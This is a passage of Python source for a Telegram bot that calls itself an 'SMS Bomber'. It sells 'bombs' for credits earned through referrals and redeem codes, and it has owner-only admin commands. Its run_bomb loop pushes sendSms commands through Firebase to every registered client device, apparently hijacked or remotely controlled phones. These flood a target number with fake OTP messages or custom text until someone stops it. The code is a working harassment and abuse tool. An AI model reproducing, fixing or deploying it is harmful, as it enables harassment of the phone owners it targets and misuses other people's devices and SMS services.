d.startswith("msgtype_"): t = d.split("_")[1] if t == "cancel": ctx.user_data.clear(); await q.edit_message_text("❌ Cancelled."); return num = ctx.user_data.get('bomb_num') if not num: await q.edit_message_text("❌ Error. Restart."); return if t == "otp": if bomb_running(uid): try: await q.answer("⚠️ Bomb already running!", show_alert=True) except: pass return ctx.user_data['bomb_msg'] = "आपका OTP है: {otp} | कृपया इसे किसी को न बताएँ।" if not deduct_credit(uid): await q.edit_message_text("❌ No credits!"); return ctx.user_data['bomb_step'] = 'running' loga(uid, "Bomb Started", f"Target: {num}") asyncio.create_task(run_bomb(update, ctx)) await q.edit_message_text(f"🚀 {B('Bombing with OTP!')}\n🛑 STOP button ya /stop use karo") return elif t == "custom": ctx.user_data['bomb_step'] = 'custom_msg' await q.edit_message_text(f"✏️ {B('Type your custom message NOW:')}\n💡 Use {{otp}} for random OTP", parse_mode="HTML") return # ── ADMIN SECTION (owner only) ── if d.startswith("admin_") and not is_owner(uid): try: await q.answer("⛔ Owner only!", show_alert=True) except: pass return if d == "admin_panel": ctx.user_data.pop('admin_step', None); await admin_panel(q); return if d == "admin_users": ctx.user_data.pop('admin_step', None); await admin_users(q, 0); return if d.startswith("admin_users_page_"): ctx.user_data.pop('admin_step', None); await admin_users(q, int(d.split("_")[-1])); return if d.startswith("admin_ui_"): ctx.user_data.pop('admin_step', None); t = int(d.split("_")[-1]); await admin_ui(q, t); return if d == "admin_redeems": ctx.user_data.pop('admin_step', None); await admin_redeems(q); return if d in ("admin_back", "admin_refresh"): ctx.user_data.pop('admin_step', None); await admin_panel(q); return # INTERACTIVE ADMIN FLOWS if d == "admin_ban": ctx.user_data['admin_step'] = 'ban_id' await q.edit_message_text(f"🚫 {B('Send user ID to ban:')}\n❌ /cancel") return if d == "admin_unban": ctx.user_data['admin_step'] = 'unban_id' await q.edit_message_text(f"✅ {B('Send user ID to unban:')}\n❌ /cancel") return if d == "admin_add": ctx.user_data['admin_step'] = 'add_id' await q.edit_message_text(f"➕ {B('Send user ID:')}\n❌ /cancel") return if d == "admin_rem": ctx.user_data['admin_step'] = 'rem_id' await q.edit_message_text(f"➖ {B('Send user ID:')}\n❌ /cancel") return if d == "admin_redeem": ctx.user_data['admin_step'] = 'redeem_amt' await q.edit_message_text(f"🎟️ {B('Enter coin amount:')}\n❌ /cancel") return # DIRECT ACTIONS (from user view) if d.startswith("admin_ban_"): t = int(d.split("_")[-1]); ban_user(t, uid) loga(uid, "Banned", str(t)) try: await q.answer(f"✅ Banned {t}", show_alert=True) except: pass await admin_ui(q, t); return if d.startswith("admin_unban_"): t = int(d.split("_")[-1]); unban_user(t) loga(uid, "Unbanned", str(t)) try: await q.answer(f"✅ Unbanned {t}", show_alert=True) except: pass await admin_ui(q, t); return if d.startswith("admin_give_"): p = d.split("_"); t = int(p[2]); a = int(p[3]) add_credits(t, a); loga(uid, f"Added {a}", f"To {t}") try: await q.answer(f"✅ +{a} credits", show_alert=True) except: pass await admin_ui(q, t); return if d.startswith("admin_rem_"): p = d.split("_"); t = int(p[2]); a = int(p[3]) ok = remove_credits(t, a) if ok: loga(uid, f"Removed {a}", f"From {t}") try: await q.answer(f"{'✅' if ok else '❌'}", show_alert=True) except: pass await admin_ui(q, t); return except Exception as e: print(f"[cb] Error: {e}") # ── BOMB ENGINE (STOP FIXED) ─────────────────────────────── async def run_bomb(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: uid = update.effective_user.id except: return num = ctx.user_data.get('bomb_num') tmpl = ctx.user_data.get('bomb_msg', "आपका OTP है: {otp}") has_otp = '{otp}' in tmpl cy = 0; ts = 0; tf = 0 # global stop event — user_data.clear() se immune stop_ev = start_bomb_event(uid) try: st = await ctx.application.bot.send_message(uid, f"🚀 {B('Bombing')} {num}\n🔄 #0 | ✅ 0 | ❌ 0", reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton("🛑 STOP", callback_data="bomb_stop", **({"api_kwargs": {"style": "danger"}}))]])) except: finish_bomb(uid) return try: while not stop_ev.is_set(): if is_banned(uid): break cy += 1; tks = [] for url in FIREBASE_URLS: if stop_ev.is_set(): break clients = await asyncio.to_thread(fb_get, url, "/clients") if not clients or not isinstance(clients, dict): continue for dev in list(clients.keys()): if stop_ev.is_set(): break msg = tmpl if has_otp: msg = tmpl.replace('{otp}', ''.join(random.choices(string.digits, k=6))) tks.append(asyncio.to_thread(fb_put, url, f"clients/{dev}/webhookEvent/sendSms", {"sim":1,"to":num,"message":msg,"isSended":False})) if tks: res = await asyncio.gather(*tks) ts += sum(1 for r in res if r) tf += sum(1 for r in res if not r) try: await st.edit_text(f"🚀 {B('Bombing')} {num}\n🔄 #{cy} | ✅ {ts} | ❌ {tf}") except: pass # sleep ki jagah event-wait — STOP dabate hi turant ruk jayega try: await asyncio.wait_for(stop_ev.wait(), timeout=0.1) except asyncio.TimeoutError: pass finally: finish_bomb(uid) # hamesha cleanup — error aaye tab bhi ctx.user_data.pop('bomb_stop', None) ctx.user_data.pop('bomb_step', None) try: await st.edit_text( f"━━━━━━━━━━━\n🛑 {B('STOPPED')} 🛑\n━━━━━━━━━━━\n📞 {num}\n🔄 #{cy}\n✅ {ts}\n❌ {tf}\n━━━━━━━━━━━", parse_mode="HTML", reply_markup=None) except: pass loga(uid, "Bomb Ended", f"Target: {num}, Sent: {ts}, Failed: {tf}") # ── TEXT HANDLER ──────────────────────────────────────────── async def ht(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: if update.effective_user is None: return uid = update.effective_user.id text = update.message.text.strip() if is_banned(uid): try: await update.message.reply_text(f"❌ {B('Banned.')}") except: pass return if not await check_fj(update, ctx): await fj_prompt(update, ctx); return # INTERACTIVE ADMIN INPUT FLOWS (owner only) if ctx.user_data.get('admin_step'): if not is_owner(uid): ctx.user_data.pop('admin_step', None) try: await update.message.reply_text("⛔ Owner only!") except: pass return step = ctx.user_data.get('admin_step') if step == 'ban_id': try: t = int(text) if not get_ui(t): try: await update.message.reply_text("❌ User not found!") except: pass else: ban_user(t, uid); loga(uid, "Banned", str(t)) try: await update.message.reply_text(f"🚫 {B('Banned')} {t}", parse_mode="HTML") except: pass except: try: await update.message.reply_text("❌ Invalid ID!") except: pass ctx.user_data.pop('admin_step', None) return if step == 'unban_id': try: t = int(text) if unban_user(t): loga(uid, "Unbanned", str(t)) try: await update.message.reply_text(f"✅ {B('Unbanned')} {t}", parse_mode="HTML") except: pass else: try: await update.message.reply_text("❌ Not banned!") except: pass except: try: await update.message.reply_text("❌ Invalid ID!") except: pass ctx.user_data.pop('admin_step', None) return if step == 'add_id': try: t = int(text) if not get_ui(t): try: await update.message.reply_text("❌ User not found!") except: pass ctx.user_data.pop('admin_step', None); return ctx.user_data['admin_target'] = t ctx.user_data['admin_step'] = 'add_amt' try: await update.message.reply_text(f"💰 {B('Enter amount for')} {t}:", parse_mode="HTML") except: pass except: try: await update.message.reply_text("❌ Invalid ID!") except: pass ctx.user_data.pop('admin_step', None) return if step == 'add_amt': try: a = int(text) t = ctx.user_data.get('admin_target') if a > 0 and t: add_credits(t, a); loga(uid, f"Added {a}", f"To {t}") try: await update.message.reply_text(f"✅ +{a} credits → {t}", parse_mode="HTML") except: pass else: try: await update.message.reply_text("❌ Invalid amount!") except: pass except: try: await update.message.reply_text("❌ Enter a number!") except: pass ctx.user_data.pop('admin_step', None); ctx.user_data.pop('admin_target', None) return if step == 'rem_id': try: t = int(text) if not get_ui(t): try: await update.message.reply_text("❌ User not found!") except: pass ctx.user_data.pop('admin_step', None); return ctx.user_data['admin_target'] = t ctx.user_data['admin_step'] = 'rem_amt' try: await update.message.reply_text(f"➖ {B('Enter amount to remove from')} {t}:", parse_mode="HTML") except: pass except: try: await update.message.reply_text("❌ Invalid ID!") except: pass ctx.user_data.pop('admin_step', None) return if step == 'rem_amt': try: a = int(text) t = ctx.user_data.get('admin_target') if a > 0 and t: if remove_credits(t, a): loga(uid, f"Removed {a}", f"From {t}") try: await update.message.reply_text(f"✅ -{a} credits from {t}", parse_mode="HTML") except: pass else: try: await update.message.reply_text("❌ Insufficient credits!") except: pass else: try: await update.message.reply_text("❌ Invalid amount!") except: pass except: try: await update.message.reply_text("❌ Enter a number!") except: pass ctx.user_data.pop('admin_step', None); ctx.user_data.pop('admin_target', None) return if step == 'redeem_amt': try: a = int(text) if a <= 0: try: await update.message.reply_text("❌ Enter a positive number!") except: pass else: code = create_redeem(a, uid) loga(uid, "Redeem Created", f"Code: {code}, {a} cr") try: await update.message.reply_text( f"╔═══◈═══╗\n║ {B('REDEEM CODE')} ║\n╚═══◈═══╝\n\n{sl()}\n" f"💰 Amount: {a}\n" f"🔑 Code: {code}\n" f"✨ {B(code)}\n{sl()}\n\n" f"📤 Send this code to users!", parse_mode="HTML") except: pass except: try: await update.message.reply_text("❌ Enter a number!") except: pass ctx.user_data.pop('admin_step', None) return ctx.user_data.pop('admin_step', None) return # REDEEM FLOW (user types code) if ctx.user_data.get('redeem_step') == 'code': code = text.strip() r = get_redeem(code) if not r: try: await update.message.reply_text(f"❌ {B('Invalid code!')}") except: pass elif r[3] is not None: try: await update.message.reply_text(f"❌ {B('Code already used!')}") except: pass else: use_redeem(code, uid) add_credits(uid, r[1]) loga(uid, "Redeemed", f"Code: {code}, +{r[1]}") try: await update.message.reply_text( f"╔═══◈═══╗\n║ {B('REDEEMED')} ║\n╚═══◈═══╝\n\n{sl()}\n" f"✅ +{r[1]} credits!\n" f"💰 New balance: {get_credits(uid)}\n{sl()}", parse_mode="HTML") except: pass ctx.user_data.pop('redeem_step', None) return # FLOW: NUMBER INPUT if ctx.user_data.get('bomb_step') == 'number': if bomb_running(uid): ctx.user_data.pop('bomb_step', None) try: await update.message.reply_text("⚠️ Bomb already running! Pehle 🛑 STOP karo.") except: pass return ok, m = validate_phone(text) if not ok: try: await update.message.reply_text(f"{m}\n📞 +91XXXXXXXXXX") except: pass return ctx.user_data['bomb_num'] = text.strip() ctx.user_data['bomb_step'] = 'msgtype' await update.message.reply_text("📝 Select type:", reply_markup=im([[("🔢 OTP", "msgtype_otp", "primary"), ("✏️ Custom", "msgtype_custom", "success")], [("❌ Cancel", "msgtype_cancel", "danger")]])) return # FLOW: CUSTOM MESSAGE INPUT if ctx.user_data.get('bomb_step') == 'custom_msg': if not text: try: await update.message.reply_text("❌ Empty") except: pass return if bomb_running(uid): ctx.user_data.pop('bomb_step', None) try: await update.message.reply_text("⚠️ Bomb already running! Pehle 🛑 STOP karo.") except: pass return ctx.user_data['bomb_msg'] = text if not deduct_credit(uid): try: await update.message.reply_text("❌ No credits!") except: pass return num = ctx.user_data.get('bomb_num') ctx.user_data['bomb_step'] = 'running' loga(uid, "Bomb Started", f"Target: {num}") asyncio.create_task(run_bomb(update, ctx)) try: await update.message.reply_text(f"🚀 {B('Bombing with custom msg!')}\n🛑 /stop ya STOP button") except: pass return # MAIN MENU BUTTONS if text == "💣 𝘽𝙊𝙈𝘽 𝙎𝙈𝙎": ctx.user_data.clear() if bomb_running(uid): try: await update.message.reply_text("⚠️ Bomb already running! Pehle 🛑 STOP karo.") except: pass return creds = get_credits(uid) if creds <= 0: try: await update.message.reply_text(f"╔═══◈═══╗\n║ {B('NO CREDITS')} ║\n╚═══◈═══╝\n\n❌ 0 credits! 🔗 Use referral or 🎟️ Redeem.") except: pass return await update.message.reply_text( f"╔═══◈═══╗\n║ {B('SMS BOMBER')} ║\n╚═══◈═══╝\n\n💰 {creds}\n{sl()}\n💣 1 credit = 1 bomb", parse_mode="HTML", reply_markup=im([[("🚀 Start", "bomb_start", "success"), ("❌ Cancel", "bomb_cancel", "danger")]])) return if text == "💰 𝘾𝙍𝙀𝘿𝙄𝙏𝙎": try: await update.message.reply_text(f"╔═══◈═══╗\n║ {B('CREDITS')} ║\n╚═══◈═══╝\n\n💰 {get_credits(uid)}\n💡 Use referral or redeem to earn more") except: pass return # REDEEM BUTTON if text == "🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈": ctx.user_data.clear() ctx.user_data['redeem_step'] = 'code' try: await update.message.reply_text( f"╔═══◈═══╗\n║ {B('REDEEM')} ║\n╚═══◈═══╝\n\n" f"🎟️ {B('Enter your code:')}\n💡 Format: titan-XXXXXX\n❌ /cancel", parse_mode="HTML") except: pass return if text == "🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇": bot = (await ctx.application.bot.get_me()).username try: await update.message.reply_text( f"╔═══◈═══╗\n║ {B('REFERRAL')} ║\n╚═══◈═══╝\n\n🔗 https://t.me/{bot}?start=ref_{uid}\n\n🎁 +1 credit per new user!") except: pass return if text == "🏆 𝙇𝙀𝘼𝘿𝙀𝙍𝘽𝙊𝘼𝙍𝘿": lb = get_lb(10) m = f"╔═══◈═══╗\n║ {B('LEADERBOARD')} ║\n╚═══◈═══╝\n\n" for i,(u2,cr,bm) in enumerate(lb, 1): md = "🥇" if i==1 else "🥈" if i==2 else "🥉" if i==3 else f"{i}." m += f"{md} {u2} | 💰{cr} | 💣{bm}\n" try: await update.message.reply_text(m, parse_mode="HTML") except: pass return if text == "📜 𝙃𝙄𝙎𝙏𝙊𝙍𝙔": conn = getc(); c = conn.cursor() c.execute("SELECT action, details, created_at FROM user_history WHERE user_id=? ORDER BY id DESC LIMIT 10", (uid,)) rows = c.fetchall(); conn.close() if not rows: try: await update.message.reply_text("📭 Empty") except: pass return m = f"╔═══◈═══╗\n║ {B('HISTORY')} ║\n╚═══◈═══╝\n\n" for a,d_,t in rows: m += f"• {a} — {d_} ({t[:16]})\n" try: await update.message.reply_text(m) except: pass return if text == "📊 𝙎𝙏𝘼𝙏𝙎": t, tc, tb = get_stats() try: await update.message.reply_text( f"╔═══◈═══╗\n║ {B('STATS')} ║\n╚═══◈═══╝\n\n{sl()}\n👥 {t}\n💰 {tc}\n💣 {tb}\n👤 Your credits: {get_credits(uid)}\n{sl()}") except: pass return if text == "⚙️ 𝘼𝘿𝙈𝙄𝙉 𝙋𝘼𝙉𝙀𝙇" and is_owner(uid): text_p, kb = admin_panel_data() try: await update.message.reply_text(text_p, parse_mode="HTML", reply_markup=kb) except: pass return try: await update.message.reply_text(f"❌ {B('Use buttons!')}\n💡 /start") except: pass except Exception as e: print(f"[ht] Error: {e}") # ── OWNER COMMANDS ───────────────────────────────────────── async def users_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: if not is_owner(update.effective_user.id): try: await update.message.reply_text("⛔") except: pass return users = get_all_users() conn = getc(); c = conn.cursor() c.execute("SELECT COUNT(*) FROM banned_users"); bc = c.fetchone()[0]; conn.close() m = f"╔═══◈═══╗\n║ {B('USERS')} ║\n╚═══◈═══╝\n\n👥 {len(users)} | 🚫 {bc}\n\n" for ui,cr,bm,jt in users: m += f"{ui} | 💰{cr} | 💣{bm}\n" if len(m) > 3500: m += f"\n... more"; break try: await update.message.reply_text(m, parse_mode="HTML") except: pass except: pass async def ui_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: if not is_owner(update.effective_user.id): try: await update.message.reply_text("⛔") except: pass return if not ctx.args: try: await update.message.reply_text("/userinfo [id]") except: pass return try: t = int(ctx.args[0]); info = get_ui(t) except: try: await update.message.reply_text("❌") except: pass return if not info: try: await update.message.reply_text("❌ Not found") except: pass return try: await update.message.reply_text( f"╔═══◈═══╗\n║ {B('USER')} ║\n╚═══◈═══╝\n\n{sl()}\n🆔 {info[0]}\n💰 {info[1]}\n👥 {info[2] or 'None'}\n💣 {info[3]}\n📅 {info[4]}\n🚫 {'✅' if is_banned(t) else '❌'}\n{sl()}", parse_mode="HTML") except: pass except: pass async def ac_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: if not is_owner(update.effective_user.id): try: await update.message.reply_text("⛔") except: pass return if len(ctx.args) < 2: try: await update.message.reply_text("/addcredits [id] [amt]") except: pass return try: t,a = int(ctx.args[0]), int(ctx.args[1]); add_credits(t,a) loga(update.effective_user.id, f"Added {a}", f"To {t}") try: await update.message.reply_text(f"✅ Added {a} to {t}") except: pass except: try: await update.message.reply_text("❌") except: pass except: pass async def rc_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: if not is_owner(update.effective_user.id): try: await update.message.reply_text("⛔") except: pass return if len(ctx.args) < 2: try: await update.message.reply_text("/removecredits [id] [amt]") except: pass return try: t,a = int(ctx.args[0]), int(ctx.args[1]) if remove_credits(t,a): loga(update.effective_user.id, f"Removed {a}", f"From {t}") try: await update.message.reply_text(f"✅ Removed {a}") except: pass else: try: await update.message.reply_text("❌ Insufficient") except: pass except: try: await update.message.reply_text("❌") except: pass except: pass async def ban_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: if not is_owner(update.effective_user.id): try: await update.message.reply_text("⛔") except: pass return if not ctx.args: try: await update.message.reply_text("/ban [id]") except: pass return try: t = int(ctx.args[0]); ban_user(t, update.effective_user.id) loga(update.effective_user.id, "Banned", f"{t}") try: await update.message.reply_text(f"🚫 Banned {t}") except: pass except: try: await update.message.reply_text("❌") except: pass except: pass async def unban_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: if not is_owner(update.effective_user.id): try: await update.message.reply_text("⛔") except: pass return if not ctx.args: try: await update.message.reply_text("/unban [id]") except: pass return try: t = int(ctx.args[0]) if unban_user(t): loga(update.effective_user.id, "Unbanned", f"{t}") try: await update.message.reply_text(f"✅ Unbanned {t}") except: pass else: try: await update.message.reply_text("❌ Not banned") except: pass except: try: await update.message.reply_text("❌") except: pass except: pass async def bcast(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: if not is_owner(update.effective_user.id): try: await update.message.reply_text("⛔") except: pass return if not ctx.args: try: await update.message.reply_text("/broadcast [msg]") except: pass return msg = " ".join(ctx.args); users = get_all_users(); sd=0; fl=0 try: st = await update.message.reply_text("📢 Broadcasting...") except: return for (u2,_,_,_) in users: if is_banned(u2): fl+=1; continue try: await ctx.application.bot.send_message(u2, f"╔═══◈═══╗\n║ {B('BROADCAST')} ║\n╚═══◈═══╝\n\n{msg}", parse_mode="HTML") sd+=1 except: fl+=1 if (sd+fl)%20==0: try: await st.edit_text(f"📢 Sent: {sd} | Failed: {fl}") except: pass await asyncio.sleep(0.02) try: await st.edit_text(f"✅ Done!\nSent: {sd}\nFailed: {fl}") except: pass loga(update.effective_user.id, "Broadcast", f"Sent: {sd}") except: pass # /stop ab global event use karta hai async def stop_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: uid = update.effective_user.id except: return ok = request_bomb_stop(uid) ctx.user_data['bomb_stop'] = True # legacy backup try: if ok: await update.message.reply_text(f"🛑 {B('Stopping...')}") else: await update.message.reply_text(f"ℹ️ {B('No active bomb.')}") except: pass async def cancel_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): ctx.user_data.clear() try: await update.message.reply_text(f"❌ {B('Cancelled.')}") except: pass # ── MAIN ─────────────────────────────────────────────────── def main(): request_kwargs = { "read_timeout": 30, "write_timeout": 30, "connect_timeout": 30, "pool_timeout": 30, "connection_pool_size": 10, } bot_request = HTTPXRequest(**request_kwargs) # ⭐ FIX: concurrent_updates builder me pass hota hai (property setter nahi hai) app = ( Application.builder() .token(TOKEN) .request(bot_request) .concurrent_updates(True) .build() ) for h in [("start", start), ("set", set_video), ("stop", stop_cmd), ("cancel", cancel_cmd), ("users", users_cmd), ("userinfo", ui_cmd), ("addcredits", ac_cmd), ("removecredits", rc_cmd), ("ban", ban_cmd), ("unban", unban_cmd), ("broadcast", bcast)]: app.add_handler(CommandHandler(h[0], h[1])) app.add_handler(CallbackQueryHandler(cb)) app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, ht)) print(""" ╔══════════════════════════════════════════════════╗ ║ 🔥 SMS BOMBER — V3.1 (FINAL) 🔥 ║ ║ ✅ STOP instant — global asyncio.Event ║ ║ ✅ user_data.clear() se stop immune ║ ║ ✅ concurrent_updates (builder) — queue fix ║ ║ ✅ Double-bomb prevent ║ ║ ✅ finally cleanup — crash pe bhi unlock ║ ║ ✅ Interactive Admin + Redeem intact ║ ╚══════════════════════════════════════════════════╝ """) app.run_polling(allowed_updates=Update.ALL_TYPES, drop_pending_updates=True) if __name__ == "__main__": main()